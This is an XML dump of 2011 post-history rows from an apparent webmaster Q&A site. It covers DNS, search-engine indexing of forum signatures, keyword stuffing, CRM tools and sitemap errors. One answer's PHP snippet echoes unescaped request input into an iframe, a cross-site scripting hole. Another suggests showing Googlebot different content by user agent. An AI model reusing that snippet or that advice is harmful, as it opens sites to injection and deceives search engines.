  <row Id="39041" PostHistoryTypeId="3" PostId="16388" RevisionGUID="8aa1cc76-1436-46ee-b7d6-15456c76f2d6" CreationDate="2011-07-04T12:59:19.183" UserId="8782" Text="&lt;web-hosting&gt;" />
  <row Id="39042" PostHistoryTypeId="2" PostId="16389" RevisionGUID="afc3b5ad-eee7-403e-9657-18b41ac9c66c" CreationDate="2011-07-04T13:09:27.217" UserId="7588" Text="Your DNS records will be cached, including your MX entries. Setting up your DNS should be possible, i.e. to get them to point somewhere else, but you might not have a control panel for that, in which case you'll be doing this on Sunday night." />
  <row Id="39043" PostHistoryTypeId="2" PostId="16390" RevisionGUID="5851c851-7ae7-4de8-8ae4-6c86da03302a" CreationDate="2011-07-04T13:34:00.883" UserId="8785" Text="As a webmaster in charge of a tiny site that has a forum, I regularly receive complains from users that both the internal search engine and that external searches (like when using Google) are totally polluted by my users' signatures (they're using long sigs and that's part of the forum's experience because sigs makes a lot of sense in my forum).&#xD;&#xA;&#xD;&#xA;So basically I'm seeing two options as of now:&#xD;&#xA;&#xD;&#xA; 1. rendering the signature as a picture and when a user click on the &quot;sig picture&quot; it gets taken to a page that contains the real sig (with the links in the sig etc.) and that page is set as being non-crawlable by search engine spiders).  This would consume some bandwith and need some work (because I'd need an HTML renderer producing the picture etc.) but obviously it would solve the issue (there are tiny gotchas in that the sig wouldn't respect the font/color scheme of the users but my users are very creative with their sigs anyway, using custom fonts/colors/size etc. so it's not that much of an issue).&#xD;&#xA;&#xD;&#xA; 2. marking every part of the webpage that contains a sig as being non-crawlable.&#xD;&#xA;&#xD;&#xA;However I'm not sure about the later: is this something that can be done?  Can you just mark specific parts of a webpage as being non-crawlable?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39044" PostHistoryTypeId="1" PostId="16390" RevisionGUID="5851c851-7ae7-4de8-8ae4-6c86da03302a" CreationDate="2011-07-04T13:34:00.883" UserId="8785" Text="Preventing robots from crawling specific part of a page" />
  <row Id="39045" PostHistoryTypeId="3" PostId="16390" RevisionGUID="5851c851-7ae7-4de8-8ae4-6c86da03302a" CreationDate="2011-07-04T13:34:00.883" UserId="8785" Text="&lt;html&gt;&lt;search-engines&gt;&lt;forum&gt;&lt;spider&gt;" />
  <row Id="39046" PostHistoryTypeId="2" PostId="16391" RevisionGUID="4b402d80-08df-4c79-a027-71984f8487c4" CreationDate="2011-07-04T13:38:13.830" UserId="1643" Text="Another solution is to wrap the sig in a span or div with style set to `visibility:hidden` and then use Javascript to take that away so the text displays for browsers with Javascript on. Search engines know it's not going to be displayed so shouldn't index it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39047" PostHistoryTypeId="5" PostId="16391" RevisionGUID="e7fb5074-7cf1-4d1c-99d8-5d1055c83af6" CreationDate="2011-07-04T13:44:23.840" UserId="1643" Comment="put in example code" Text="Another solution is to wrap the sig in a span or div with style set to `display:none` and then use Javascript to take that away so the text displays for browsers with Javascript on. Search engines know it's not going to be displayed so shouldn't index it.&#xD;&#xA;&#xD;&#xA;This bit of HTML, CSS and javascript should do it:&#xD;&#xA;&#xD;&#xA;HTML:&#xD;&#xA;&#xD;&#xA;    &lt;span class=&quot;sig&quot;&gt;signature goes here&lt;/span&gt;&#xD;&#xA;&#xD;&#xA;CSS:&#xD;&#xA;    &#xD;&#xA;    .sig {&#xD;&#xA;    display:none;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;javascript:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt; &#xD;&#xA;    $(document).ready(function()&#xD;&#xA;      {&#xD;&#xA;    	  $(&quot;.sig&quot;).show();&#xD;&#xA;      }&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You'll need to include a [jquery][1] library.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.com/" />
  <row Id="39048" PostHistoryTypeId="2" PostId="16392" RevisionGUID="66b4d1e3-9b5a-4935-a940-699044da6ed3" CreationDate="2011-07-04T14:18:00.590" UserId="233" Text="No, there is no way to prevent robots crawling parts of pages. It's a whole page or nothing.&#xD;&#xA;&#xD;&#xA;The snippets in Google's search results are usually taken from the *meta description* on the page. So you could make Google show a specific part of the page by putting that in the meta description tag. With user-generated content it's difficult to get good snippets, but taking the first post of the thread would probably work.&#xD;&#xA;&#xD;&#xA;The only other way I can think of is to use Javascript. Something like paulmorriss suggested *may* work, but I think search engines would still index the content if it's in the HTML. You could remove it from the HTML, store it in Javascript string, then add it back on page load. This gets a bit complex, though.&#xD;&#xA;&#xD;&#xA;Finally, one thing to keep in mind: if Google is showing user's signatures in their snippets, it has decided that is the part most relevant to the user's query." />
  <row Id="39049" PostHistoryTypeId="2" PostId="16393" RevisionGUID="b5c33b80-00ed-44b7-92b9-86bf875a36c8" CreationDate="2011-07-04T14:23:16.520" UserId="1643" Text="    /item/[0-9]* &#xD;&#xA;should do it. You can test it out by using the Find URL field at the bottom of the Top Content report (old analytics) or on the Site Content-&gt;Pages report on the new interface you can do an advanced filter and enter it as a regular expression." />
  <row Id="39050" PostHistoryTypeId="2" PostId="16394" RevisionGUID="e7461bf3-67e6-49b3-9e7c-4c12e92e94cf" CreationDate="2011-07-04T14:33:00.153" UserId="7588" Text="This is easy.&#xD;&#xA;&#xD;&#xA;Before you serve your page you need to know whether it is to a bot, a computer or a phone. You then need to set the content accordingly.&#xD;&#xA;&#xD;&#xA;There are plenty of solutions on SE for doing redirection based on USER AGENT that can be put in your htaccess. If this suits your forum software then you can run different code off the same DB to deliver what Google needs without the chaff and trimmings.&#xD;&#xA;&#xD;&#xA;Alternatively you can put a little line in your PHP code that does a 'if USER AGENT == Googlebot then don't show signatures'.&#xD;&#xA;&#xD;&#xA;If you really cannot do that then you can get mod_proxy to serve to the bot and use it to strip out anything your php code generates that the bot not need to see." />
  <row Id="39051" PostHistoryTypeId="25" PostId="16390" RevisionGUID="9e635916-9eb8-47cc-b8d0-8000c1c5b5d5" CreationDate="2011-07-04T15:27:08.930" Comment="http://twitter.com/#!/StackWebmasters/status/87905288090419200" />
  <row Id="39052" PostHistoryTypeId="2" PostId="16395" RevisionGUID="3b372739-6b0e-495b-8b56-d28c1c35c205" CreationDate="2011-07-04T15:59:49.213" UserId="8787" Text="First of all i cant find true forum to post ,but i need a very quick help.&#xD;&#xA;&#xD;&#xA;I have registered a domain name with godaddy couple of days ago , but today, after i post my domain name for appraisal, it was redirecting to another domain name with just diffrent tld. extension&#xD;&#xA;&#xD;&#xA;Am i hacked?&#xD;&#xA;&#xD;&#xA;How can i resolve this problem?&#xD;&#xA;&#xD;&#xA;(domain manager shows its already parked to godaddy there is no problem with name servers they are allright but still redirecting the domain)&#xD;&#xA;&#xD;&#xA;windsurd.ws redirecting to windsurf.lv" />
  <row Id="39053" PostHistoryTypeId="1" PostId="16395" RevisionGUID="3b372739-6b0e-495b-8b56-d28c1c35c205" CreationDate="2011-07-04T15:59:49.213" UserId="8787" Text="my website redirected by someone else" />
  <row Id="39054" PostHistoryTypeId="3" PostId="16395" RevisionGUID="3b372739-6b0e-495b-8b56-d28c1c35c205" CreationDate="2011-07-04T15:59:49.213" UserId="8787" Text="&lt;websites&gt;&lt;hijacked&gt;" />
  <row Id="39055" PostHistoryTypeId="5" PostId="8256" RevisionGUID="b16bf0af-27c6-4821-b670-8d3f590ca5f7" CreationDate="2011-07-04T16:04:57.570" UserId="4502" Comment="Expanded bit.ly URL" Text="A cloud or VPS server that is setup with cpanel (or your control panel of choice) will not really make any difference to you and should seem very much like the old shared hosting you used. Both will perform fine for 500-1000/day visitors, even when configured with a low spec, &#xD;&#xA;&#xD;&#xA;If your not technical or interested in learning then the important part is to select a &quot;Managed&quot; service. This will give you access to the experts at the hosting company who will look after the server and software. An unmanaged service will leave you to take care of upgrades, security and configuration.&#xD;&#xA;&#xD;&#xA;You can see the difference in support levels for [Storm Cloud Servers][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.stormondemand.com/servers/support.html" />
  <row Id="39056" PostHistoryTypeId="5" PostId="13764" RevisionGUID="08b8f18c-167c-415a-b180-d2918871bdde" CreationDate="2011-07-04T16:15:32.400" UserId="233" Comment="using proper blockquote instead of code tag" Text="I have **A LOT** of SHTML pages I want to protect from crawlers, spiders &amp; scrapers. &#xD;&#xA;&#xD;&#xA;I understand the limitations of SSIs. An implementation of the following can be suggested in conjunction with any technology/technologies you wish:&#xD;&#xA;&#xD;&#xA;&gt; The idea is that if you request too many pages too fast you're added to a blacklist for 24 hrs and shown a captcha instead of content, upon every page you request. If you enter the captcha correctly you've removed from the blacklist.  &#xD;&#xA;There is a whitelist so GoogleBot, etc. will never get blocked.&#xD;&#xA;&#xD;&#xA;Which is the **best/easiest way to implement this** idea?&#xD;&#xA;&#xD;&#xA;Server = IIS  &#xD;&#xA;&#xD;&#xA;_Cleaning out the old tuples from a DB every 24 hrs is easily done so no need to explain that._" />
  <row Id="39057" PostHistoryTypeId="5" PostId="16395" RevisionGUID="2cb3830d-b973-4100-818e-0c9eb7c44939" CreationDate="2011-07-04T16:16:05.207" UserId="8787" Comment="edited body" Text="First of all i cant find true forum to post ,but i need a very quick help.&#xD;&#xA;&#xD;&#xA;I have registered a domain name with godaddy couple of days ago , but today, after i post my domain name for appraisal, it was redirecting to another domain name with just diffrent tld. extension&#xD;&#xA;&#xD;&#xA;Am i hacked?&#xD;&#xA;&#xD;&#xA;How can i resolve this problem?&#xD;&#xA;&#xD;&#xA;(domain manager shows its already parked to godaddy there is no problem with name servers they are allright but still redirecting the domain)&#xD;&#xA;&#xD;&#xA;windsurf.ws redirecting to windsurf.lv" />
  <row Id="39058" PostHistoryTypeId="17" PostId="16396" RevisionGUID="6c83997f-089c-4ea1-ab1d-7a3611af0cd6" CreationDate="2011-07-04T16:26:07.180" UserId="-1" Comment="from http://stackoverflow.com/questions/6573326/website-dns-redirects-to-another" Text="" />
  <row Id="39059" PostHistoryTypeId="2" PostId="16396" RevisionGUID="4941ff71-9687-477b-97e3-60458435cc4e" CreationDate="2011-07-04T15:19:29.370" UserDisplayName="possibly" Text="First of all i cant find true forum to post ,but i need a very quick help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have registered a domain name with godaddy couple of days ago , but today, after i post my domain name for appraisal, it was redirecting to another domain name with just diffrent tld. extension&#xD;&#xA;&#xD;&#xA;Am i hacked?&#xD;&#xA;&#xD;&#xA;How can i resolve this problem?&#xD;&#xA;&#xD;&#xA;(domain manager shows its already parked to godaddy there is no problem with name servers they are allright but still redirecting the domain) " />
  <row Id="39060" PostHistoryTypeId="1" PostId="16396" RevisionGUID="4941ff71-9687-477b-97e3-60458435cc4e" CreationDate="2011-07-04T15:19:29.370" UserDisplayName="possibly" Text="website dns redirects to another" />
  <row Id="39061" PostHistoryTypeId="3" PostId="16396" RevisionGUID="4941ff71-9687-477b-97e3-60458435cc4e" CreationDate="2011-07-04T15:19:29.370" UserDisplayName="possibly" Text="&lt;websites&gt;&lt;dns&gt;" />
  <row Id="39062" PostHistoryTypeId="2" PostId="16397" RevisionGUID="72718aa1-f78a-4602-b752-db195a29b158" CreationDate="2011-07-04T16:43:08.527" UserId="8788" Text="Try doing a search on Google of type:&#xD;&#xA;&#xD;&#xA;    link:&lt;url of image&gt;&#xD;&#xA;&#xD;&#xA;That 'should' help you locate what is linking to the image." />
  <row Id="39063" PostHistoryTypeId="2" PostId="16398" RevisionGUID="8a040b24-d9cf-4d75-94df-ab16ba52dc3c" CreationDate="2011-07-04T17:08:30.170" UserId="7044" Text="I was wondering what would happen if we put some (around 25) relative keywords in the page using a hidden div so that the actual user does not see them but the search engines do?  &#xD;&#xA;do search engines consider this to be `keyword fraud`(!) ?" />
  <row Id="39064" PostHistoryTypeId="1" PostId="16398" RevisionGUID="8a040b24-d9cf-4d75-94df-ab16ba52dc3c" CreationDate="2011-07-04T17:08:30.170" UserId="7044" Text="is it a good seo practice to put relative keywords in a hidden div?" />
  <row Id="39065" PostHistoryTypeId="3" PostId="16398" RevisionGUID="8a040b24-d9cf-4d75-94df-ab16ba52dc3c" CreationDate="2011-07-04T17:08:30.170" UserId="7044" Text="&lt;seo&gt;&lt;css&gt;&lt;search-engines&gt;&lt;keywords&gt;" />
  <row Id="39066" PostHistoryTypeId="2" PostId="16399" RevisionGUID="fd8669b1-5238-47f9-a321-939ad52c209f" CreationDate="2011-07-04T17:11:25.143" UserId="4502" Text="This is &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?answer=66358&quot;&gt;keyword stuffing&lt;/a&gt;. Don't do it.&#xD;&#xA;&#xD;&#xA;If you can find an honest way to get some of those terms into the page itself, like a sidebar blurb explaining what your site is for, instructional text, etc. then you're generally fine." />
  <row Id="39067" PostHistoryTypeId="2" PostId="16400" RevisionGUID="aaad62b6-597c-4281-820e-1ade0f055ba5" CreationDate="2011-07-04T17:21:45.223" UserId="4502" Text="Are you set up with Google's Webmaster Tools? Since you mention a doorway penalty by name, that's a warning it would specifically call out to you(eg. &lt;a href=&quot;http://www.google.com/support/forum/p/Webmasters/thread?tid=28a9752f3e02749d&amp;hl=en&quot;&gt;someone inquiring about it&lt;/a&gt;), which would give you a definitive answer a far as that potential cause." />
  <row Id="39068" PostHistoryTypeId="17" PostId="16401" RevisionGUID="32a4aee9-56f1-4adc-b5b0-0de2f182ee1c" CreationDate="2011-07-04T17:25:02.560" UserId="-1" Comment="from http://stackoverflow.com/questions/6574192/i-need-good-crm-written-in-php" Text="" />
  <row Id="39069" PostHistoryTypeId="17" PostId="16402" RevisionGUID="d0f8aa39-74d1-45ed-b141-1e32b8735fa7" CreationDate="2011-07-04T17:25:02.560" UserId="-1" Comment="from http://stackoverflow.com/questions/6574192/i-need-good-crm-written-in-php" Text="" />
  <row Id="39070" PostHistoryTypeId="2" PostId="16402" RevisionGUID="81962550-3a73-4407-9a48-268e32befdb8" CreationDate="2011-07-04T17:23:03.470" UserDisplayName="anubhava" Text="Take a look at various [Magento CRM Ingeration][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magneticone.com/page-438-magento-crm-integration.html" />
  <row Id="39071" PostHistoryTypeId="2" PostId="16401" RevisionGUID="92c5ffdb-d086-46e0-871d-9df11b7ca2ec" CreationDate="2011-07-04T16:55:11.810" UserDisplayName="Pyzazord" Text="like in title: I need open source, mature, good, flexible, extensible php CRM with liberal free license that allowing for redistribution. I heard that SugarCRM is good one, but its not free, and right now their page is not working. Cheers." />
  <row Id="39072" PostHistoryTypeId="1" PostId="16401" RevisionGUID="92c5ffdb-d086-46e0-871d-9df11b7ca2ec" CreationDate="2011-07-04T16:55:11.810" UserDisplayName="Pyzazord" Text="I need good CRM written in php" />
  <row Id="39073" PostHistoryTypeId="3" PostId="16401" RevisionGUID="92c5ffdb-d086-46e0-871d-9df11b7ca2ec" CreationDate="2011-07-04T16:55:11.810" UserDisplayName="Pyzazord" Text="&lt;php&gt;&lt;open-source&gt;" />
  <row Id="39074" PostHistoryTypeId="2" PostId="16403" RevisionGUID="e42b728a-ef6a-44eb-8f2d-db263892556d" CreationDate="2011-07-04T17:43:32.643" UserId="4502" Text="It's not quite true that Sugar isn't free, they just push the commercial options much more. (Most open-source projects with commercial options do this.)&#xD;&#xA;&#xD;&#xA;The &lt;a href=&quot;http://www.sugarcrm.com/crm/download&quot;&gt;Community Edition&lt;/a&gt; is free, though the commercial editions do have additional features(again fairly standard practice). The main &lt;a href=&quot;http://www.sugarcrm.com/crm/community/sugarcrm-community.html&quot;&gt;Open Source page&lt;/a&gt; has a PDF with detailed comparisons you can use to evaluate whether you even need them. The link is under the big red &quot;Try Sugar - Free&quot; button." />
  <row Id="39075" PostHistoryTypeId="25" PostId="16398" RevisionGUID="37d6262f-a17a-40a1-b989-02413648a0b8" CreationDate="2011-07-04T18:27:10.090" Comment="http://twitter.com/#!/StackWebmasters/status/87950590700826625" />
  <row Id="39076" PostHistoryTypeId="2" PostId="16404" RevisionGUID="53441c03-df66-4755-95fe-a907819ce8c6" CreationDate="2011-07-04T18:47:59.930" UserId="1803" Text="After trying out 20 different solutions I sticked with [Feng Office][1], which has all I need. It just works without any bugs, has a usable GUI (which I may use in the browser I favor) and [it's free][2] (although the download is bit hidden).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Feng_Office_Community_Edition&#xD;&#xA;  [2]: http://www.fengoffice.com/web/community/downloads.php" />
  <row Id="39077" PostHistoryTypeId="2" PostId="16405" RevisionGUID="4ec1d7c3-bc42-479c-8792-bae791381d9f" CreationDate="2011-07-04T18:48:47.810" UserId="1240" Text="It looks more like your DNS records are not set up properly, GoDaddy Support should be able to help you set them up.  And remember that propagation can take some time." />
  <row Id="39078" PostHistoryTypeId="2" PostId="16406" RevisionGUID="e63930c7-b2c5-4898-8319-08bbe5101af9" CreationDate="2011-07-04T18:58:11.953" UserId="8793" Text="Most modern search engines like Google don't even read keywords Meta tag of the site.&#xD;&#xA;&#xD;&#xA;and putting keywords in hidden div is definitely a bad idea. I agree with what Su said.&#xD;&#xA;&#xD;&#xA;Other ways are putting keywords in image alt tags, HTML page Title etc.&#xD;&#xA;&#xD;&#xA;For search engines the best keywords are one which other sites uses while linking to you.&#xD;&#xA;&#xD;&#xA;In other words the keywords in anchor tags `(&lt;a href)` are most useful.&#xD;&#xA;&#xD;&#xA;&gt; Always try to create pages for&#xD;&#xA;&gt; communities and not for search&#xD;&#xA;&gt; engines.&#xD;&#xA;" />
  <row Id="39079" PostHistoryTypeId="2" PostId="16407" RevisionGUID="423ea312-6504-4c91-b971-56bc57bdea39" CreationDate="2011-07-04T19:13:36.777" UserId="8793" Text="for me it shows an error &#xD;&#xA;&#xD;&#xA;    Error 105 (net::ERR_NAME_NOT_RESOLVED): Unable to resolve the server's DNS address.&#xD;&#xA;&#xD;&#xA;yes there is something wrong with your DNS records.&#xD;&#xA;&#xD;&#xA;but it doesn't seem to be a serious issue, Godaddy support can resolve it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39080" PostHistoryTypeId="2" PostId="16408" RevisionGUID="5b25c384-e891-4ea9-98f9-18b033c63ff6" CreationDate="2011-07-04T19:25:21.493" UserId="8793" Text="I don't think the link at the bottom can be the only reason for the traffic loss.&#xD;&#xA;&#xD;&#xA;The same redirection techniques is used in many places like in Joomla default banner tracking ,  whenever there is a Banner link joomla redirects it to banner component file then to the actual link.&#xD;&#xA;&#xD;&#xA;Even Facebook uses the same method for external link , so this cannot be a issue.&#xD;&#xA;&#xD;&#xA;How much is your SERP drop ? are you using unique content ?" />
  <row Id="39081" PostHistoryTypeId="2" PostId="16409" RevisionGUID="11dfe247-c397-48c3-8f6c-4c378d0b64e9" CreationDate="2011-07-04T19:38:59.607" UserId="8793" Text="There are many free tools available in the market but the favorite one are Google chrome /Mozilla addon some of them are&#xD;&#xA;&#xD;&#xA;1. [Yahoos Yslow][1]&#xD;&#xA;2. [SEO Doctor][2]   &#xD;&#xA;3. Google Webmaster tools(not a browser addon)&#xD;&#xA;4. Google Page Speed&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/yslow/&#xD;&#xA;  [2]: https://addons.mozilla.org/en-US/firefox/addon/seo-doctor/&#xD;&#xA;" />
  <row Id="39082" PostHistoryTypeId="2" PostId="16410" RevisionGUID="86ba8eb0-0828-4e68-bb6d-ee1b1c970b26" CreationDate="2011-07-04T19:47:44.920" UserId="8793" Text="Try the simple and easy solution no need to specify headers&#xD;&#xA;&#xD;&#xA;    &lt;?php if ($_REQUEST['id']): ?&gt; // youtube video id&#xD;&#xA;    &#xD;&#xA;    &lt;iframe class=&quot;youtube-player&quot; type=&quot;text/html&quot; width=&quot;640&quot; height=&quot;385&quot; src=&quot;http://www.youtube.com/embed/&lt;?php echo $_REQUEST['id']; ?&gt;&quot; frameborder=&quot;0&quot;&gt;&#xD;&#xA;    &lt;/iframe&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;?php endif; ?&gt;" />
  <row Id="39083" PostHistoryTypeId="5" PostId="16394" RevisionGUID="78ed98e8-e4dc-46eb-a63b-b57cbd7d1c22" CreationDate="2011-07-04T19:58:47.103" UserId="7588" Comment="clarification" Text="This is easy.&#xD;&#xA;&#xD;&#xA;Before you serve your page you need to know whether it is to a bot, a computer or a phone. You then need to set the content accordingly. This is standard practice in this day and age and core functionality of some CMS's.&#xD;&#xA;&#xD;&#xA;There are plenty of solutions on SE for doing redirection based on USER AGENT that can be put in your htaccess. If this suits your forum software then you can run different code off the same DB to deliver what Google needs without the chaff and trimmings.&#xD;&#xA;&#xD;&#xA;Alternatively you can put a little line in your PHP code that does a 'if USER AGENT == Googlebot then don't show signatures'.&#xD;&#xA;&#xD;&#xA;If you really cannot do that then you can get mod_proxy to serve to the bot and use it to strip out anything your php code generates that the bot not need to see.&#xD;&#xA;&#xD;&#xA;Technically Google do not approve of their search engine being shown a different page to what the normal site visitor sees, however, to date, they have not taken the BBC and others that provide browser/IP/visitor-specific content off their search engine results. They also have limited means to see if their bot has been 'conned'.&#xD;&#xA;&#xD;&#xA;The alternative solution of hiding content with CSS for it to be re-enabled by a script is also a bit of a grey area. According to their own Webmaster Tools guidelines of 20/6/11 this is not a good idea:&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=66353&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39084" PostHistoryTypeId="2" PostId="16411" RevisionGUID="35232ee5-9267-4a21-a497-d7da9c2d66ba" CreationDate="2011-07-04T19:59:23.820" UserId="8793" Text="Over a period of time Google algorithm will learn that you are the real foofoo.com and not the other sites.&#xD;&#xA;&#xD;&#xA;This will happen once you have more genuine users and followers who will spread back-links for you.&#xD;&#xA;&#xD;&#xA;Registering a trademark will not help you a lot in the SERP fight , but it is a definitely a good idea for a long run. (sorry but i don't know much about trademarks)" />
  <row Id="39085" PostHistoryTypeId="5" PostId="16394" RevisionGUID="445ef127-1702-4786-a0f6-e71100b405d6" CreationDate="2011-07-04T20:15:36.010" UserId="7588" Comment="more rubbish on a sensible question that has had some naive responses" Text="This is easy.&#xD;&#xA;&#xD;&#xA;Before you serve your page you need to know whether it is to a bot, a computer or a phone. You then need to set the content accordingly. This is standard practice in this day and age and core functionality of some CMS's.&#xD;&#xA;&#xD;&#xA;There are plenty of solutions on SE for doing redirection based on USER AGENT that can be put in your htaccess. If this suits your forum software then you can run different code off the same DB to deliver what Google needs without the chaff and trimmings.&#xD;&#xA;&#xD;&#xA;Alternatively you can put a little line in your PHP code that does a 'if USER AGENT == Googlebot then don't show signatures'.&#xD;&#xA;&#xD;&#xA;If you really cannot do that then you can get mod_proxy to serve to the bot and use it to strip out anything your php code generates that the bot not need to see.&#xD;&#xA;&#xD;&#xA;Technically Google do not approve of their search engine being shown a different page to what the normal site visitor sees, however, to date, they have not taken the BBC and others that provide browser/IP/visitor-specific content off their search engine results. They also have limited means to see if their bot has been 'conned'.&#xD;&#xA;&#xD;&#xA;The alternative solution of hiding content with CSS for it to be re-enabled by a script is also a bit of a grey area. According to their own Webmaster Tools guidelines of 20/6/11 this is not a good idea:&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=66353&#xD;&#xA;&#xD;&#xA;That may not be a tablet cast in stone, but it is up to date and by Google.&#xD;&#xA;&#xD;&#xA;The hide the content trick will not work with the minority of people that do not have javascript, this may not be a huge concern, however, waiting for the document to load and then showing the signatures will not be a satisfactory viewing experience as you will think the page has loaded, then it will jump about as the hidden signatures show up to then push the content down the page. This type of page load can be irritating if you have a low-end net-top but may not be noticeable if you have a fast developers machine on a fast internet connection.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39086" PostHistoryTypeId="2" PostId="16412" RevisionGUID="f7897cc2-afa9-47d5-b295-a9bfbf937865" CreationDate="2011-07-04T20:51:08.547" UserId="1976" Text="I'm having an issue where I'm submitting my sitemap, too bad I keep this omitted error:&#xD;&#xA;&#xD;&#xA;&gt; Unsupported file format &#xD;&#xA;&#xD;&#xA;&gt;Your Sitemap does not appear to be in a supported format. Please ensure it meets our Sitemap guidelines and resubmit.&#xD;&#xA;&#xD;&#xA;I followed the sitemap guidelines and error reporting types:&#xD;&#xA;&#xD;&#xA; - [Creating Sitemaps][1].&#xD;&#xA; - [Sitemap errors][2].&#xD;&#xA; &#xD;&#xA;This is what my sitemap looks like:&#xD;&#xA;&#xD;&#xA;    &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/home&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/feedback&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/search&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;    &lt;/urlset&gt;&#xD;&#xA;&#xD;&#xA;It seems fine enough, so I re-submitted it and then it returned the same error, that my sitemap is unsupported. &#xD;&#xA;&#xD;&#xA;The sitemap has a application header of `text/xml` if changed to `application/xml`, it still won't work. What is causing this error?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=183668&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35738" />
  <row Id="39087" PostHistoryTypeId="1" PostId="16412" RevisionGUID="f7897cc2-afa9-47d5-b295-a9bfbf937865" CreationDate="2011-07-04T20:51:08.547" UserId="1976" Text="Unsupported file format of sitemap - Google" />
  <row Id="39088" PostHistoryTypeId="3" PostId="16412" RevisionGUID="f7897cc2-afa9-47d5-b295-a9bfbf937865" CreationDate="2011-07-04T20:51:08.547" UserId="1976" Text="&lt;google-webmaster-tools&gt;&lt;sitemap&gt;" />
  <row Id="39089" PostHistoryTypeId="2" PostId="16413" RevisionGUID="deed6767-8a50-4f53-a238-d72ccc38a704" CreationDate="2011-07-04T21:06:18.110" UserId="8354" Text="1. You can validate your sitemap here (if it is not **too** big): http://www.validome.org/google/ or use any other [tool](http://www.google.co.uk/search?q=sitemap+validator).&#xD;&#xA;&#xD;&#xA;2. I do not see the required `&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;` part here -- did you forgot to copy it .. or you do not have it at all? The first link you are referring to has it in the example.&#xD;&#xA;&#xD;&#xA;3. Maybe it is worth adding FULL &quot;header/definition&quot; of the `&lt;urlset&gt;` -- I have it this way everywhere and never saw any rejections/validation issues:&#xD;&#xA;&#xD;&#xA;Your sitemap.xml could be looking like this:&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;&#xD;&#xA;    &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xsi:schemaLocation=&quot;http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd&quot;&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/home&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/feedback&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;      &lt;url&gt;&#xD;&#xA;        &lt;loc&gt;http://mywebsite.com/search&lt;/loc&gt;&#xD;&#xA;        &lt;changefreq&gt;weekly&lt;/changefreq&gt;&#xD;&#xA;        &lt;priority&gt;0.2&lt;/priority&gt;&#xD;&#xA;      &lt;/url&gt;&#xD;&#xA;    &lt;/urlset&gt;" />
